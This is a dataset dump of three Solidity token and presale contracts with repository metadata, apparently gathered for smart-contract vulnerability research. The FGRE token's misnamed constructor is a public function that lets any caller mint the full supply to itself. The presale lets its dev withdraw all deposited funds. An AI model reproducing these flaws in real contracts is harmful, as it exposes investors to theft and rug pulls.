function changeMaxWalletSize(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxWalletSize = _tTotal.mul(percentage).div(100);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x60aE616a2155Ee3d9A68541Ba4544862310933d4);
uniswapV2Router = _uniswapV2Router;
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = _tTotal.mul(20).div(1000);
_maxWalletSize = _tTotal.mul(30).div(1000);
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function Addbot(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
| 95,087 | 14,094 |
9f3cba2d444f0a25304f05296d79fbbc79ca682efb145d33d9ed3f1d4849cb29
| 30,448 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/c8/c8ff8979275a82c9e84caec2e24799178922a11e_LB2Presale.sol
| 3,454 | 13,545 |
// SPDX-License-Identifier: MIT
pragma solidity 0.7.5;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly {size := extcodesize(account)}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{value : amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value : weiValue}(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
using Address for address;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {// Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract LB2Presale {
using SafeERC20 for ERC20;
using Address for address;
using SafeMath for uint;
uint256 public constant PRICE = 1;
uint256 public constant MAX_BY_MINT = 10;
uint256 public totalAllocation;
mapping(address => bool) public investor;
mapping(address => bool) public claimed;
address public mim;
address public love;
address public dev;
uint256 acquireTimestamp;
uint256 claimTimestamp;
bool initClaimBlock = false;
event Deposit();
event Claim();
constructor(address _mim, address _love, address _dev, uint256 _totalOGs, uint256 _acquireTimestamp) {
mim = _mim;
love = _love;
dev = _dev;
totalAllocation = _totalOGs;
acquireTimestamp = _acquireTimestamp;
}
modifier onlyEOA() {
require(msg.sender == tx.origin, "!EOA");
_;
}
function acquireLove() public onlyEOA {
require(acquireTimestamp <= block.timestamp, "!start");
require(totalAllocation > 0, "sale out");
require(!investor[msg.sender], "deposited");
IERC20(mim).transferFrom(msg.sender, address(this), MAX_BY_MINT * PRICE * 10 ** (ERC20(mim).decimals()));
investor[msg.sender] = true;
totalAllocation = totalAllocation - 1;
emit Deposit();
}
function claim() public onlyEOA {
require(initClaimBlock, "!init");
require(claimTimestamp <= block.timestamp, "!start");
require(investor[msg.sender], "not investor");
require(!claimed[msg.sender], "claimed");
claimed[msg.sender] = true;
IERC20(love).transfer(msg.sender, MAX_BY_MINT * 10 ** (ERC20(love).decimals()));
emit Claim();
}
function setClaimTimestamp(uint256 _claimTimestamp) public {
require(msg.sender == dev, "!dev");
claimTimestamp = _claimTimestamp;
initClaimBlock = true;
}
function withdraw(address _token) public {
require(msg.sender == dev, "!dev");
uint256 b = IERC20(_token).balanceOf(address(this));
IERC20(_token).transfer(dev, b);
}
function getCurrentTimestamp() view external returns (uint256){
return block.timestamp;
}
}
| 82,748 | 14,095 |
46107cab4169b71e17292147ad2e1b46e3200b803239d86ab4593a227266e0a5
| 19,095 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x77ad47549c6e2eca6ab70f811d4c7be0a799114d.sol
| 9,727 | 16,906 |
pragma solidity ^0.4.21 ;
contract FGRE_Portfolio_IV_883 {
mapping (address => uint256) public balanceOf;
string public name = " FGRE_Portfolio_IV_883 " ;
string public symbol = " FGRE883IV " ;
uint8 public decimals = 18 ;
uint256 public totalSupply = 32288098633865000000000000000 ;
event Transfer(address indexed from, address indexed to, uint256 value);
function SimpleERC20Token() public {
balanceOf[msg.sender] = totalSupply;
emit Transfer(address(0), msg.sender, totalSupply);
}
function transfer(address to, uint256 value) public returns (bool success) {
require(balanceOf[msg.sender] >= value);
balanceOf[msg.sender] -= value; // deduct from sender's balance
balanceOf[to] += value; // add to recipient's balance
emit Transfer(msg.sender, to, value);
return true;
}
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function approve(address spender, uint256 value)
public
returns (bool success)
{
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value)
public
returns (bool success)
{
require(value <= balanceOf[from]);
require(value <= allowance[from][msg.sender]);
balanceOf[from] -= value;
balanceOf[to] += value;
allowance[from][msg.sender] -= value;
emit Transfer(from, to, value);
return true;
}
// }
// Programme d'mission - Lignes 1 10
//
//
//
//
// [ Nom du portefeuille ; Numro de la ligne ; Nom de la ligne ; Echance ]
// [ Adresse exporte ]
// [ Unit ; Limite basse ; Limite haute ]
// [ Hex ]
//
//
//
// < FGRE_Portfolio_IV_metadata_line_1_____GROUPE_LINGENHELD_SA_20580515 >
// < 89VYugyOn2HWVg9eYXUl6sO7Eep6hrdh6h0w7ryjwNc5hS7sJU6U3ZMssD9agbex >
// < 1E-018 limites [ 1E-018 ; 1705593900,42023 ] >
// < 0x000000000000000000000000000000000000000000000000000000000A2A879E >
// < FGRE_Portfolio_IV_metadata_line_2_____GROUPE_LINGENHELD_SA_OBS_DAC_20580515 >
// < ZgRDYUwO6r2KyorejZSm4946331BO83TyTC0LFprlmJ4XxEFUv9J3w07fympKnN8 >
// < 1E-018 limites [ 1705593900,42023 ; 1902022422,84078 ] >
// < 0x00000000000000000000000000000000000000000000000000A2A879EB564182 >
// < FGRE_Portfolio_IV_metadata_line_3_____CARRIERE_DU_VIEUX_MOULIN_20580515 >
// < r1q4omFFZCvh1bc2oOgvj841xbTgcflsD6u5rf9B734LW2DgIu5k9zo8GMtIvVfI >
// < 1E-018 limites [ 1902022422,84078 ; 2615029451,87045 ] >
// < 0x00000000000000000000000000000000000000000000000000B564182F9637E1 >
// < FGRE_Portfolio_IV_metadata_line_4_____CARRIERE_DU_VIEUX_MOULIN_OBS_DAC_20580515 >
// < pAg56eK6yvE29D8xg0dqKZjse9MXu6bJdsKx6ZcNq1SyS5BDjqmXD4gHvdBdmlz9 >
// < 1E-018 limites [ 2615029451,87045 ; 2801217325,17961 ] >
// < 0x0000000000000000000000000000000000000000000000000F9637E110B25185 >
// < FGRE_Portfolio_IV_metadata_line_5_____CARRIERE_DE_TANCONVILLE_20580515 >
// < Ew47pkcwz21Og6EIDNt8wa0cWeF75P87Xi2uJ6EPeGyvJ162Lvvcq1mYLKV58Yf1 >
// < 1E-018 limites [ 2801217325,17961 ; 3038224476,52331 ] >
// < 0x00000000000000000000000000000000000000000000000010B25185121BF670 >
// < FGRE_Portfolio_IV_metadata_line_6_____CARRIERE_DE_TANCONVILLE_OBS_DAC_20580515 >
// < 2WEpas7T85hK7ai630ep85wM4JHv7WpWhf7o177NYX8DSYuEL9cgTQsvrKKirWPa >
// < 1E-018 limites [ 3038224476,52331 ; 5117427039,26729 ] >
// < 0x000000000000000000000000000000000000000000000000121BF6701E8092F0 >
// < FGRE_Portfolio_IV_metadata_line_7_____DELTA_AMENAGEMENT_ALSACE_LORRAINE_20580515 >
// < 5aMxW6Zg6l9bQEBteBA5h8DjUuen3t3VZ8n8Vxqs8Q4Iv85WrT9eCJqK2t3K2mp9 >
// < 1E-018 limites [ 5117427039,26729 ; 5685697174,60486 ] >
// < 0x0000000000000000000000000000000000000000000000001E8092F021E3AF75 >
// < FGRE_Portfolio_IV_metadata_line_8_____DELTA_PROMOTION_20580515 >
// < wafrZcPMsVyne7Uh6P9wGvCfp0Oty2pKX8zvPfPXuU0AO6v7XehV72FY2tK90222 >
// < 1E-018 limites [ 5685697174,60486 ; 6077528100,8547 ] >
// < 0x00000000000000000000000000000000000000000000000021E3AF752439926A >
// < FGRE_Portfolio_IV_metadata_line_9_____DELTA_PROMOTION_OBS_DAC_20580515 >
// < 7383Ks6Ux6Uy7QdNZS7e4ZPCc4SlYJfre4J8XT0S5X67BGAz9I2DTjaMsW06N941 >
// < 1E-018 limites [ 6077528100,8547 ; 6153294231,57834 ] >
// < 0x0000000000000000000000000000000000000000000000002439926A24AD2E8F >
// < FGRE_Portfolio_IV_metadata_line_10_____EST_ENROBES_20580515 >
// < 55tlRf3O418oc4QCcc89TME4W40wUwfItJHvW2B8UuAlk1EV9VJAVEw0t8Zf8QZb >
// < 1E-018 limites [ 6153294231,57834 ; 6242456360,7993 ] >
// < 0x00000000000000000000000000000000000000000000000024AD2E8F25353B84 >
// Programme d'mission - Lignes 11 20
//
//
//
//
// [ Nom du portefeuille ; Numro de la ligne ; Nom de la ligne ; Echance ]
// [ Adresse exporte ]
// [ Unit ; Limite basse ; Limite haute ]
// [ Hex ]
//
//
//
// < FGRE_Portfolio_IV_metadata_line_11_____EST_ENROBES_OBS_DAC_20580515 >
// < iMn6LNYaRCqsI59Qjt8tilE4WxSU3ZP9JQqWh6Idb6BzGm06tNKho23M8oWD0gMa >
// < 1E-018 limites [ 6242456360,7993 ; 8617470777,99238 ] >
// < 0x00000000000000000000000000000000000000000000000025353B84335D3786 >
// < FGRE_Portfolio_IV_metadata_line_12_____FEHR_BETON_ENVIRONNEMENT_20580515 >
// < f22D3k9I9vg99csjIoxFUaYJjNb5KJe8H6917Dyz6Azxf5Xd6uRz2aY7XOBUHA06 >
// < 1E-018 limites [ 8617470777,99238 ; 8915118832,47193 ] >
// < 0x000000000000000000000000000000000000000000000000335D37863523644B >
// < FGRE_Portfolio_IV_metadata_line_13_____FEHR_BETON_ENVIRONNEMENT_OBS_DAC_20580515 >
// < G9t2bk7V6gSzL1LSl481aOKkX7aUbtMV97bYl5eK2LMqkyyW5ckQF91m3xNfAZz6 >
// < 1E-018 limites [ 8915118832,47193 ; 9335830143,8938 ] >
// < 0x0000000000000000000000000000000000000000000000003523644B37A558A6 >
// < FGRE_Portfolio_IV_metadata_line_14_____LINGENHELD_ENVIRONNEMENT_20580515 >
// < eNBCcPn9u4J3I7eS8VDOBq98yhi5Pq3zL28H2pgy1qTf0G8CyOYrH4zwF7QZwC5d >
// < 1E-018 limites [ 9335830143,8938 ; 9421787943,35482 ] >
// < 0x00000000000000000000000000000000000000000000000037A558A6382881EA >
// < FGRE_Portfolio_IV_metadata_line_15_____LINGENHELD_ENVIRONNEMENT_OBS_DAC_20580515 >
// < 6F2PQA1t9zNe5uj6Urfa7zZCG8M4W3Es53fO94HMBlo0c493CO0gscoDOAOpCR7V >
// < 1E-018 limites [ 9421787943,35482 ; 10368177466,3621 ] >
// < 0x000000000000000000000000000000000000000000000000382881EA3DCC9553 >
// < FGRE_Portfolio_IV_metadata_line_16_____LINGENHELD_TRAVAUX_PUBLICS_20580515 >
// < jpMf1drf9Mpd7V2LmWv32dD285XF1Q5rt50G2bpfK1I5IEOx6cc36ir5K0v663BL >
// < 1E-018 limites [ 10368177466,3621 ; 11043456970,7643 ] >
// < 0x0000000000000000000000000000000000000000000000003DCC955341D2FA61 >
// < Cy6vuXz4zXlnw1M3h6v8Ih6x1g578PMULOgmEQJ1kxZ75e3nXnc0X32E3CbQgR40 >
// < 1E-018 limites [ 11043456970,7643 ; 13305247330,5751 ] >
// < 0x00000000000000000000000000000000000000000000000041D2FA614F4E323D >
// < FGRE_Portfolio_IV_metadata_line_18_____LINGENHELD_TRAVAUX_SPECIAUX_20580515 >
// < r6gvnrhB1bi325p4M06jL090EF3h4iiF0u27oQPGh2BMuKcGEW6fef3D6GV63dcZ >
// < 1E-018 limites [ 13305247330,5751 ; 14375917277,2544 ] >
// < 0x0000000000000000000000000000000000000000000000004F4E323D55AFE8B0 >
// < c69XJi8pH54x3k5ty33487Fd1G4R5E9i4c7KNKd4tCD886HRfERoUT72t0nNhO8E >
// < 1E-018 limites [ 14375917277,2544 ; 14560490283,1728 ] >
// < 0x00000000000000000000000000000000000000000000000055AFE8B056C98B84 >
// < FGRE_Portfolio_IV_metadata_line_20_____LTS_LUXEMBOURG_20580515 >
// < 2C0fSyyD5U7R94Kk0vEkC4VpXGck9qwkp6W6rNqi1RB2X72JRhMbuy783t5LZ7Kc >
// < 1E-018 limites [ 14560490283,1728 ; 16441509775,544 ] >
// < 0x00000000000000000000000000000000000000000000000056C98B8461FFC0C2 >
// Programme d'mission - Lignes 21 30
//
//
//
//
// [ Nom du portefeuille ; Numro de la ligne ; Nom de la ligne ; Echance ]
// [ Adresse exporte ]
// [ Unit ; Limite basse ; Limite haute ]
// [ Hex ]
//
//
//
// < FGRE_Portfolio_IV_metadata_line_21_____LTS_LUXEMBOURG_OBS_DAC_20580515 >
// < 69xF4Bl924kQ8Asoa04mfH5sqI59ypye2yW9664y73k4z7T5KtOQ61zW40IWawf6 >
// < 1E-018 limites [ 16441509775,544 ; 17597183137,7498 ] >
// < 0x00000000000000000000000000000000000000000000000061FFC0C268E32BAA >
// < FGRE_Portfolio_IV_metadata_line_22_____METHAVOS_SAS_20580515 >
// < 3aRU1AC1dSO5NETbDp6oPa5BtdV2AAd3S5l69eqSB2oSf26JionQsktZjF055CpG >
// < 1E-018 limites [ 17597183137,7498 ; 17708133655,1456 ] >
// < 0x00000000000000000000000000000000000000000000000068E32BAA698C77B6 >
// < FGRE_Portfolio_IV_metadata_line_23_____METHAVOS_SAS_OBS_DAC_20580515 >
// < 2wRQO3PGxFZfam7GNOH563t85QR8IDt6p5Krc0Wz3O756Qt0FMwI3fcaWu0SFi3G >
// < 1E-018 limites [ 17708133655,1456 ; 17782556318,6929 ] >
// < 0x000000000000000000000000000000000000000000000000698C77B669FE0710 >
// < 96xfd11i42nf277LOv3jnZU4LDV3ap32fXw7ZZdT65goG8P2604g2BQ7EcNfqVLc >
// < 1E-018 limites [ 17782556318,6929 ; 18117686542,2991 ] >
// < 0x00000000000000000000000000000000000000000000000069FE07106BFD654E >
// < 38t1GkgRuaa7aj08DB2f9pqKCNzTnS47MDbb44SF59irvbD1W612HQBdJ07HI3JF >
// < 1E-018 limites [ 18117686542,2991 ; 18396997232,1735 ] >
// < 0x0000000000000000000000000000000000000000000000006BFD654E6DA7970B >
// < FGRE_Portfolio_IV_metadata_line_26_____SEMAROUTE_ENROBES_20580515 >
// < dS9lDTlU5euQiO3G1qOl57St1bEkKL9F2cLa9z55f98wtX59W49L064V77NAudfE >
// < 1E-018 limites [ 18396997232,1735 ; 18530242252,4897 ] >
// < 0x0000000000000000000000000000000000000000000000006DA7970B6E72E7E1 >
// < FGRE_Portfolio_IV_metadata_line_27_____SEMAROUTE_ENROBES_OBS_DAC_20580515 >
// < 8xhyGsLdH2o70q1CnZ46b7Jys7kpp95eFF2dvUPs7k8M10Noargw57Dam9v4Xz4W >
// < 1E-018 limites [ 18530242252,4897 ; 19247527405,4998 ] >
// < 0x0000000000000000000000000000000000000000000000006E72E7E172B96565 >
// < FGRE_Portfolio_IV_metadata_line_28_____SPIRALTRANS_SAS_20580515 >
// < X44GLZiAqu01RjzTyWEHAfF5TVyICiCXniD7FLOHCHiuZ1zDzB7l58Z6RZuWWyQE >
// < 1E-018 limites [ 19247527405,4998 ; 20583466136,8286 ] >
// < 0x00000000000000000000000000000000000000000000000072B965657AAFE076 >
// < FGRE_Portfolio_IV_metadata_line_29_____SPIRALTRANS_SAS_OBS_DAC_20580515 >
// < N8FAJl1E76F7xN4yi2w8nh2tPPaaBgQ12AJiKFY7AX85O43uot179d79Z36D4a7R >
// < 1E-018 limites [ 20583466136,8286 ; 21226982810,361 ] >
// < 0x0000000000000000000000000000000000000000000000007AAFE0767E85CE29 >
// < FGRE_Portfolio_IV_metadata_line_30_____LTS_sarl__ab__20580515 >
// < clu31pb3kJdi73B9ErV1M57bk00v17B9dEH42mEzcRHl7d3kcP4H6hGtg3cxsXt6 >
// < 1E-018 limites [ 21226982810,361 ; 21857654667,4109 ] >
// < 0x0000000000000000000000000000000000000000000000007E85CE298248225B >
// Programme d'mission - Lignes 31 40
//
//
//
//
// [ Nom du portefeuille ; Numro de la ligne ; Nom de la ligne ; Echance ]
// [ Adresse exporte ]
// [ Unit ; Limite basse ; Limite haute ]
// [ Hex ]
//
//
//
// < FGRE_Portfolio_IV_metadata_line_31_____ORTP_SA__ab__20580515 >
// < 6584R556A7WW0068awl60TeaxEu0dWw16Gt53xfveSI6mIy9cBp2N8tPKguca9DJ >
// < 1E-018 limites [ 21857654667,4109 ; 23037465373,7383 ] >
// < 0x0000000000000000000000000000000000000000000000008248225B895061E9 >
// < FGRE_Portfolio_IV_metadata_line_32_____DESAMEST_SOLUTIONS__ab__20580515 >
// < PEi5ty0M2462R3ALw7MNO50748915r13BI7KoG1ZN415K5ecY3k541j0eiFeP1SO >
// < 1E-018 limites [ 23037465373,7383 ; 23367534916,1298 ] >
// < 0x000000000000000000000000000000000000000000000000895061E98B480754 >
// < FGRE_Portfolio_IV_metadata_line_33_____LINGENHELD_DEMOLITION__ab__20580515 >
// < 8i7017a3QRsrl9M7b3m06puoxYUr4279b2SDSWA4q4m5LFtEKtxYW83yhKP8bMZ6 >
// < 1E-018 limites [ 23367534916,1298 ; 23568851057,7405 ] >
// < 0x0000000000000000000000000000000000000000000000008B4807548C7B3672 >
// < FGRE_Portfolio_IV_metadata_line_34_____LIGENHELD_&_FILS__ab__20580515 >
// < V9x41l9T046akbnTAzil4f137SlSg4shv85CM4p01l315U2zE78DxzlcGRI4A8US >
// < 1E-018 limites [ 23568851057,7405 ; 25384664109,683 ] >
// < 0x0000000000000000000000000000000000000000000000008C7B3672974DEC6B >
// < FGRE_Portfolio_IV_metadata_line_35_____EUROPEAN_TP__ab__20580515 >
// < 4q3p4so7fPg3N28nGXj2h95q2Xmc1GH915mvHBZ5j1zNvt3Z0987QVljSTbK9Jiv >
// < 1E-018 limites [ 25384664109,683 ; 25495378182,1856 ] >
// < 0x000000000000000000000000000000000000000000000000974DEC6B97F6DC1A >
// < FGRE_Portfolio_IV_metadata_line_36_____ENVALOR_ENVIRONNEMENT__ab__20580515 >
// < kqYwZOy5PUtdG0s6B26kO562WgK0OH1Jf361609u437bYV1obWY2hW25v6t8VjD4 >
// < 1E-018 limites [ 25495378182,1856 ; ] >
// < 0x00000000000000000000000000000000000000000000000097F6DC1AA6D0C9F9 >
// < FGRE_Portfolio_IV_metadata_line_37_____HAAR_ENVIRONNEMENT__ab__20580515 >
// < zgQXQkQMobHbRh9c6R0hF2fzcCELB7S33Ki0g6cp5g0CPFKPW8p454g0cZDXueaP >
// < 1E-018 limites [ 27987010489,0193 ; 28166175926,1149 ] >
// < 0x000000000000000000000000000000000000000000000000A6D0C9F9A7E22C79 >
// < FGRE_Portfolio_IV_metadata_line_38_____AXIUM_DESAMIANTAGE__ab__20580515 >
// < QiBiW9YQnIKCEzdh6d218vmSKKu5tw4lkz64Vms618MT836c9gWxbJckGx0DFxHl >
// < 1E-018 limites [ 28166175926,1149 ; 30113604579,9814 ] >
// < 0x000000000000000000000000000000000000000000000000A7E22C79B37DB6CA >
// < FGRE_Portfolio_IV_metadata_line_39_____DELTA_AMENAGEMENT_ALSACE__ab__20580515 >
// < N4r06EuMti3Ld9e563TjRH67TDD4ox1pr6G4ru1uz3301pDSYFS4274AxXvv58N1 >
// < 1E-018 limites [ 30113604579,9814 ; 30313034545,5795 ] >
// < 0x000000000000000000000000000000000000000000000000B37DB6CAB4AE051F >
// < FGRE_Portfolio_IV_metadata_line_40_____DELTA_AMENAGEMENT_LORRAINE__ab__20580515 >
// < KnO9415z7RIbW7r03xgW3SewMx4nEoYNDX1d1iSjf0SAhNtWjKc2EI69ZjCO3SEc >
// < 1E-018 limites [ 30313034545,5795 ; 32288098633,865 ] >
// < 0x000000000000000000000000000000000000000000000000B4AE051FC073BA87 >
}
| 186,699 | 14,096 |
